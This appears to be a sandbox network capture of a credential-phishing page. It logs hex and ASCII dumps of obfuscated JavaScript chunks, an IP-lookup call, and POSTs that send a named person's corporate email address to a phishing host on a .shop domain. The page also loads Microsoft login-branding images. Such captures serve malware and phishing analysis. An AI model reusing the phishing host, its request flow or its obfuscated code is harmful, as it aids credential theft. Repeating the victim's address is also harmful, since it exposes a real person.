2024-12-12 11:08:56 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 34 65 38 37 66 2c 5f 30 78 31 32 66 61 61 38 2c 5f 30 78 32 64 30 37 31 66 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 65 35 33 28 5f 30 78 34 34 30 31 30 61 2d 20 2d 30 78 38 32 2c 5f 30 78 33 34 65 38 37 66 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 31 33 31 38 33 32 5b 5f 30 78 31 37 31 62 65 34 28 30 78 31 39 38 2c 30 78 31 30 35 2c 30 78 65 2c 30 78 33 36 34 2c 2d 30 78 32 65 29 5d 28 5f 30 78 34 31 63 39 39 64 2c 5f 30 78 34 36 35 36 62 35 2c 5f 30 78 35 34 65 66 64 30 2c 5f 30 78 32 61 30 37 66 37 29 3b 7d 2c 27 66 46 51 54 47 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 66 62 38 64 63 2c 5f 30 78 34 63 34 32 36 34 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 62 66 62 39 66 28 5f 30 78 35 38 65 34 33 64 2c 5f 30 78 31 30 37 66 39 32 2c 5f Data Ascii: 1f404e87f,_0x12faa8,_0x2d071f){return _0x4e53(_0x44010a- -0x82,_0x34e87f);}return _0x131832[_0x171be4(0x198,0x105,0xe,0x364,-0x2e)](_0x41c99d,_0x4656b5,_0x54efd0,_0x2a07f7);},'fFQTG':function(_0x3fb8dc,_0x4c4264){function _0x5bfb9f(_0x58e43d,_0x107f92,_
2024-12-12 11:08:56 UTC	7822	IN	Data Raw: 44 43 4f 64 27 2c 27 54 56 75 47 75 27 2c 27 76 55 73 7a 42 27 2c 27 55 64 49 51 4f 27 2c 27 4f 46 5a 4e 77 27 2c 27 74 57 79 45 6a 27 2c 27 6a 6d 46 6c 78 27 2c 27 68 72 71 53 7a 27 2c 27 71 49 52 44 4a 27 2c 27 6f 6d 74 58 6d 27 2c 27 4f 72 72 43 72 27 2c 27 72 56 71 72 61 27 2c 27 42 4e 4d 6c 64 27 2c 27 69 61 71 66 66 27 2c 27 62 7a 65 75 65 27 2c 27 53 77 79 6b 53 27 2c 27 6b 59 72 54 68 27 2c 27 6b 4f 6e 49 65 27 2c 27 7a 6e 53 58 5a 27 2c 27 42 6b 6f 4e 69 27 2c 27 68 55 6a 4c 63 27 2c 27 65 68 6a 6d 4a 27 2c 27 50 78 79 6e 4b 27 2c 27 41 54 6b 77 74 27 2c 27 62 70 72 47 45 27 2c 27 72 75 63 74 6f 27 2c 27 77 47 59 6f 48 27 2c 27 4e 72 75 54 4a 27 2c 27 70 46 4b 51 54 27 2c 27 77 51 47 4f 7a 27 2c 27 71 53 55 55 43 27 2c 27 4e 79 6c 59 53 27 2c 27 Data Ascii: DCOd','TVuGu','vUszB','UdIQO','OFZNw','tWyEj','jmFlx','hrqSz','qIRDJ','omtXm','OrrCr','rVqra','BNMld','iaqff','bzeue','SwykS','kYrTh','kOnIe','znSXZ','BkoNi','hUjLc','ehjmJ','PxynK','ATkwt','bprGE','ructo','wGYoH','NruTJ','pFKQT','wQGOz','qSUUC','NylYS','
2024-12-12 11:08:56 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:56 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 30 78 32 31 63 38 31 63 29 3b 7d 2c 27 68 67 50 41 59 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 35 35 38 38 33 2c 5f 30 78 35 62 34 66 31 66 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 35 35 38 38 33 28 5f 30 78 35 62 34 66 31 66 29 3b 7d 2c 27 6e 41 4d 69 54 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 33 34 33 37 37 2c 5f 30 78 35 65 38 64 32 30 2c 5f 30 78 32 64 39 38 66 33 2c 5f 30 78 31 61 62 33 63 61 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 33 34 33 37 37 28 5f 30 78 35 65 38 64 32 30 2c 5f 30 78 32 64 39 38 66 33 2c 5f 30 78 31 61 62 33 63 61 29 3b 7d 2c 27 4e 6a 74 75 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 63 33 34 66 2c 5f 30 78 32 35 35 66 65 61 29 7b 72 65 74 75 72 6e 20 5f 30 78 35 65 63 33 34 66 2a 5f 30 78 32 35 35 Data Ascii: 1f400x21c81c);},'hgPAY':function(_0x255883,_0x5b4f1f){return _0x255883(_0x5b4f1f);},'nAMiT':function(_0x234377,_0x5e8d20,_0x2d98f3,_0x1ab3ca){return _0x234377(_0x5e8d20,_0x2d98f3,_0x1ab3ca);},'Njtul':function(_0x5ec34f,_0x255fea){return _0x5ec34f*_0x255

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50046	104.26.12.205	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:57 UTC	349	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-12 11:08:57 UTC	430	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:57 GMT Content-Type: application/json Content-Length: 21 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8f0d426ccf414316-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1778&min_rtt=1764&rtt_var=690&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=927&delivery_rate=1553191&cwnd=177&unsent_bytes=0&cid=f323f8e31d12bbf1&ts=450&x=0"
2024-12-12 11:08:57 UTC	21	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 7d Data Ascii: {"ip":"8.46.123.175"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50047	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:58 UTC	484	OUT	GET /m/ic/76LXZHDGH9P3ITQ8VQI158R4G HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:58 UTC	247	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:58 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-12 11:08:58 UTC	7945	IN	Data Raw: 33 65 33 63 0d 0a 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 Data Ascii: 3e3ch(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333
2024-12-12 11:08:58 UTC	7993	IN	Data Raw: 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 Data Ascii: DDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDD
2024-12-12 11:08:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:58 UTC	1249	IN	Data Raw: 34 64 61 0d 0a 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 99 99 99 99 99 99 99 70 03 33 33 33 33 33 33 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa aa aa aa aa aa aa 50 04 ee ee ee ee ee ee ee 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 Data Ascii: 4da"3333333"""""""3333333"""""""3333333p3333333Pfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
2024-12-12 11:08:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50055	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:00 UTC	851	OUT	POST /m/script.php HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive Content-Length: 101 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://qxydsa4dws.cenislerge.shop Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:09:00 UTC	101	OUT	Data Raw: 61 63 74 69 6f 6e 3d 73 69 67 6e 75 70 26 61 74 79 70 65 3d 4f 72 67 6c 6f 61 64 50 61 67 65 26 65 6d 61 69 6c 3d 61 64 61 6d 2e 6c 75 62 69 6b 25 34 30 72 6f 63 6b 77 6f 6f 6c 2e 63 6f 6d 26 70 68 6f 6e 65 3d 26 70 67 74 79 70 65 3d 26 70 61 67 65 6d 73 67 3d 26 6d 6f 64 65 3d 47 6f 74 6f 54 79 70 65 Data Ascii: action=signup&atype=OrgloadPage&email=adam.lubik%40rockwool.com&phone=&pgtype=&pagemsg=&mode=GotoType
2024-12-12 11:09:00 UTC	438	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:09:00 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: application/php; charset=utf-8
2024-12-12 11:09:00 UTC	1880	IN	Data Raw: 37 35 31 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 6d 73 67 22 3a 22 3c 64 69 76 20 72 6f 6c 65 3d 5c 22 6d 61 69 6e 5c 22 3e 5c 72 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 4a 35 57 4f 37 4b 56 44 4c 5a 5c 22 3e 5c 72 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 70 61 67 69 6e 61 74 69 6f 6e 2d 76 69 65 77 20 61 6e 69 6d 61 74 65 20 73 6c 69 64 65 2d 69 6e 2d 6e 65 78 74 5c 22 3e 5c 72 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 751{"status":"success","msg":"<div role=\"main\">\r\n <div class=\"J5WO7KVDLZ\">\r\n <div class=\"pagination-view animate slide-in-next\">\r\n
2024-12-12 11:09:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50056	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:00 UTC	466	OUT	GET /m/script.php HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:09:00 UTC	438	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:09:00 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: application/php; charset=utf-8
2024-12-12 11:09:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50063	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:02 UTC	466	OUT	GET /m/script.php HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:09:03 UTC	438	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:09:03 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: application/php; charset=utf-8
2024-12-12 11:09:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50060	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:02 UTC	850	OUT	POST /m/script.php HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive Content-Length: 99 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://qxydsa4dws.cenislerge.shop Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:09:02 UTC	99	OUT	Data Raw: 61 63 74 69 6f 6e 3d 73 69 67 6e 75 70 26 61 74 79 70 65 3d 45 6d 61 69 6c 50 61 67 65 26 65 6d 61 69 6c 3d 61 64 61 6d 2e 6c 75 62 69 6b 25 34 30 72 6f 63 6b 77 6f 6f 6c 2e 63 6f 6d 26 70 68 6f 6e 65 3d 26 70 67 74 79 70 65 3d 26 70 61 67 65 6d 73 67 3d 26 6d 6f 64 65 3d 47 6f 74 6f 54 79 70 65 Data Ascii: action=signup&atype=EmailPage&email=adam.lubik%40rockwool.com&phone=&pgtype=&pagemsg=&mode=GotoType
2024-12-12 11:09:03 UTC	438	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:09:03 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: application/php; charset=utf-8
2024-12-12 11:09:03 UTC	6530	IN	Data Raw: 31 39 37 61 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 6d 73 67 22 3a 22 3c 64 69 76 20 72 6f 6c 65 3d 5c 22 6d 61 69 6e 5c 22 3e 5c 72 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 41 4c 59 4f 55 33 52 37 30 58 5c 22 3e 5c 72 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 70 61 67 69 6e 61 74 69 6f 6e 2d 76 69 65 77 20 61 6e 69 6d 61 74 65 20 73 6c 69 64 65 2d 69 6e 2d 6e 65 78 74 5c 22 3e 5c 72 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 197a{"status":"success","msg":"<div role=\"main\">\r\n <div class=\"ALYOU3R70X\">\r\n <div class=\"pagination-view animate slide-in-next\">\r\n
2024-12-12 11:09:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50064	152.199.21.175	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:03 UTC	702	OUT	GET /c1c6b6c8-tkja1ftrbnoasuxsmjlhdym92xfdwjgxashihkdd5fq/logintenantbranding/0/illustration?ts=636318050997797084 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qxydsa4dws.cenislerge.shop/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-12 11:09:03 UTC	652	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 47189 Cache-Control: public, max-age=86400 Content-MD5: j9vW43TLuUTcjLPWjYGX1w== Content-Type: image/* Date: Thu, 12 Dec 2024 11:09:03 GMT Etag: 0x8D4A7E562702A10 Last-Modified: Wed, 31 May 2017 05:25:00 GMT Server: ECAcc (lhc/7935) X-Cache: HIT X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: bc83ed38-c01e-0074-0d18-4caa74000000 x-ms-version: 2009-09-19 Content-Length: 188433 Connection: close
2024-12-12 11:09:03 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 00 68 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 11 00 00 00 4e 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 30 2e 31 36 00 00 ff db 00 43 00 0f 0b 0c 0d 0c 0a 0f 0d 0c 0d 11 10 0f 12 17 26 19 17 15 15 17 2f 22 24 1c 26 38 31 3b 3a 37 31 36 35 3d 45 58 4b 3d 41 54 42 35 36 4d 69 4e 54 5b 5e 63 64 63 3c 4a 6c 74 6c 60 73 58 61 63 5f ff db 00 43 01 10 11 11 17 14 17 2d 19 19 2d 5f 3f 36 3f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f Data Ascii: JFIF``hExifMM*>F(1N``paint.net 4.0.16C&/"$&81;:7165=EXK=ATB56MiNT[^cdc<Jltl`sXac_C--_?6?_________________________________________
2024-12-12 11:09:03 UTC	16383	IN	Data Raw: 2c 77 0a ae 5c 8c 9c 60 55 98 a3 8e d8 34 d0 a7 96 af dd 1b be 78 27 3d 05 63 bc b7 7e 67 9f 3c 1e 6c 43 83 db bf 6c 74 a9 23 ba 58 a6 0a ac 04 6d 90 07 52 a3 d6 80 36 6d b5 28 52 32 7c c7 6d c0 ee 46 ef f8 76 35 12 5c db dc 00 0c 26 58 89 3b bb 90 47 4e 7b 75 ac 29 a7 58 24 12 47 36 e6 18 c6 3b 7f f5 8d 2c 57 b2 c5 30 25 b0 87 a1 51 8c fd 28 b0 cb d7 5a 23 06 47 b5 00 c4 e3 70 24 f2 87 d0 fb 56 6d d6 97 77 11 76 92 31 22 8f e2 5e 7f 1a de b5 b8 72 cc c0 6c 3b 41 52 c4 10 78 ab 37 37 0c b6 e6 63 0a c8 30 03 34 7c 67 de 90 5c e5 7e cc c6 20 10 ae f2 09 3c f2 2a 28 73 ce e0 01 23 a7 ad 6a c9 e4 cb 3a 6d 61 b6 4f 94 83 f9 d4 31 d9 ac 57 72 43 e6 ab 7c a7 68 6c f0 69 85 c7 5a c9 e6 17 1e 57 96 c3 e6 19 53 8a 47 b7 b6 6c ba 2b a4 a4 74 ed 53 a4 a0 4d b6 41 bb Data Ascii: ,w\`U4x'=c~g<lClt#XmR6m(R2\|mFv5\&X;GN{u)X$G6;,W0%Q(Z#Gp$Vmwv1"^rl;ARx77c04\|g\~ <*(s#j:maO1WrC\|hliZWSGl+tSMA
2024-12-12 11:09:03 UTC	2	IN	Data Raw: 93 b2 Data Ascii:
2024-12-12 11:09:03 UTC	16383	IN	Data Raw: a0 1b ce fc f2 08 ab 57 52 bb 6d 75 39 6c 80 07 51 40 18 f2 44 be 61 2a 49 e7 14 cf b8 76 c9 81 8e 84 f7 ad 3b a4 df 72 55 8a a6 46 71 8e a2 a8 dc 46 a1 77 0f 9b 1d 39 a6 04 9e 78 78 08 45 da e9 d7 1d c5 37 16 f2 85 dd e9 92 40 a4 48 9f 2d 35 bb 1e 7a a9 19 a8 65 90 ac 84 a8 d9 ed eb 48 09 65 b6 5f 2f f7 64 63 d8 74 a6 c2 5e 04 dc 31 bf b1 a7 0b 97 9d 58 22 95 62 39 ed 9a 36 17 18 c6 31 e9 de 98 16 ad f5 00 d0 4b 0d c8 25 c0 ca b0 f5 14 e7 98 5d c5 88 89 de 00 c2 f5 ef 54 22 50 6e 58 9d d8 2b c1 ab 70 5b 83 0f 9a 4e c6 56 21 bf fa f4 01 a9 a7 cd 25 b3 07 67 c2 a0 25 87 af a8 a2 e9 a3 95 52 ed 1b a3 67 05 70 45 53 8a 17 36 73 db 86 04 f5 1b bd 7a d3 e0 92 4f 97 cc 2c 51 38 2a 78 c9 c7 4c d2 03 32 ed 61 99 04 91 b9 2e 49 32 27 7a aa 53 73 80 8e 4e 06 70 6a Data Ascii: WRmu9lQ@DaIv;rUFqFw9xxE7@H-5zeHe_/dct^1X"b961K%]T"PnX+p[NV!%g%RgpES6szO,Q8xL2a.I2'zSsNpj
2024-12-12 11:09:04 UTC	16383	IN	Data Raw: 3a f5 a4 04 9e 67 4c 0c 8c d0 cc 4f ad 34 a9 c8 3e f4 9b 86 31 40 0e 46 da dc 54 d1 36 4e df e7 55 f2 19 46 7a d2 c6 4a 91 d3 83 48 0b 72 80 53 6f 6a a0 53 e7 e0 55 b3 21 2b ed 55 83 81 9c 8c 0f 5a 00 7a c4 08 fa d3 5e 20 be f5 3a ca a0 71 50 4f 36 71 e9 40 c8 d7 af 6f ce 9d c3 64 e6 a1 67 39 f9 4f 7e b4 09 70 79 20 d0 03 99 3a 7f 2a 74 6a 00 07 1d a9 37 64 f6 fc 69 df c3 83 9e 45 00 3c 30 e3 da a3 67 07 04 9e 0d 44 58 a3 73 9a 46 cb 2e 45 00 3c be 78 1e b5 30 1b 86 01 aa e8 ac 0e 4f 4a 94 06 07 db bd 00 3c 47 8a 32 07 1f ce a4 4e 78 3d a8 65 04 d0 04 61 f0 4f 34 d7 93 24 8c 8a 1e 33 9e 2a 35 8c f4 a0 62 b6 d1 d6 aa 39 c9 ab 0f c0 e9 55 9c 1c f2 68 10 81 be 62 45 24 8d 91 c5 05 72 48 03 9a 89 95 89 e3 bd 31 8e 49 4a 73 fa d4 ff 00 69 6f e1 00 54 51 c7 9c Data Ascii: :gLO4>1@FT6NUFzJHrSojSU!+UZz^ :qPO6q@odg9O~py 